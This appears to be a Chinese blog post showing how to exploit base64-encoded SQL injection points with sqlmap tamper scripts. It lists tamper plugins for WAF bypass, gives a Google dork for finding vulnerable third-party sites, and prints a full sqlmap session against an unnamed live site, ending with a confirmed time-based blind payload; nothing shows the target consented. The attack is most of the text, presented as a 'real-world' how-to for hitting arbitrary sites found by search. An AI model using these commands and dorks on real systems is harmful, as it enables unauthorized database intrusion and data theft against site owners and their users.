SQL注入 对方使用base64进行编码防止注入的破解方法 太简单。。。
上次遇到一个Base64的注入点,手工注入太麻烦,于是在网上看了一下sqlmap Base64注入的方法,如下:
sqlmap -u http://xxxx.com/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”
其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
首先确定目标数据库版本,然后选择相应的脚本。
-v 3 --batch --tamper "space2hash.py"
还有其他一些插件:
encodes编码 ——charencode.py
base64编码 —— base64encode.py
替换空格和关键字 —— halfversionedmorekeywords.py
转载于:https://www.cnblogs.com/im404/p/3799626.html
一个实战例子,在谷歌里搜索:
inurl: id=mq==
然后可以看到很多具备类似注入点的站点,然后使用如下命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | sqlmap -u "https://xxx.com/detail.php?id=MQ==" --tamper base64encode.py ___ __H__ ___ ___[,]_____ ___ ___ {1.5.4 #stable} |_ -| . [)] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http: //sqlmap .org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local , state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 11:22:24 /2021-06-20/ [11:22:24] [INFO] loading tamper module 'base64encode' [11:22:25] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ( 'PHPSESSID=ac148cd288a...ec608684d0' ). Do you want to use those [Y /n ] [11:22:26] [INFO] checking if the target is protected by some kind of WAF /IPS [11:22:26] [INFO] testing if the target URL content is stable [11:22:37] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [11:23:08] [CRITICAL] WAF /IPS identified as 'Imunify360 (CloudLinux)' [11:23:08] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user 's manual paragraph ' Page comparison' how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [11:24:00] [INFO] searching for dynamic content [11:24:01] [INFO] testing if GET parameter 'id' is dynamic [11:24:01] [WARNING] reflective value(s) found and filtering out [11:24:01] [INFO] GET parameter 'id' appears to be dynamic [11:24:04] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable [11:24:05] [INFO] testing for SQL injection on GET parameter 'id' [11:24:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [11:24:12] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [11:24:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [11:24:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [11:24:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [11:24:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [11:24:26] [INFO] testing 'Generic inline queries' [11:24:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [11:24:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [11:24:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [11:24:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [11:25:08] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL' . Do you want to skip test payloads specific for other DBMSes? [Y /n ] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y /n ] n [11:25:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [11:25:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [11:25:59] [INFO] checking if the injection point on GET parameter 'id' is a false positive GET parameter 'id' is vulnerable. Do you want to keep testing the others ( if any)? [y /N ] sqlmap identified the following injection point(s) with a total of 83 HTTP(s) requests: --- Parameter: id (GET) Type: time -based blind Title: MySQL >= 5.0.12 AND time -based blind (query SLEEP) Payload: id =MQ== ' AND (SELECT 9951 FROM (SELECT(SLEEP(5)))lziR) AND ' FGOw '=' FGOw --- |
是不是很GG。。。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
2018-06-20 leetcode 342. Power of Four
2018-06-20 leetcode 345. Reverse Vowels of a String
2018-06-20 CC 攻击检测研究现状
2018-06-20 DDOS SYN Flood攻击、DNS Query Flood, CC攻击简介——ddos攻击打死给钱。限网吧、黄网、博彩,,,好熟悉的感觉有木有
2017-06-20 EM算法——有隐含变量时,极大似然用梯度法搞不定只好来猜隐含变量期望值求max值了
2017-06-20 SVM最通俗的解读
2017-06-20 SVM中的线性分类器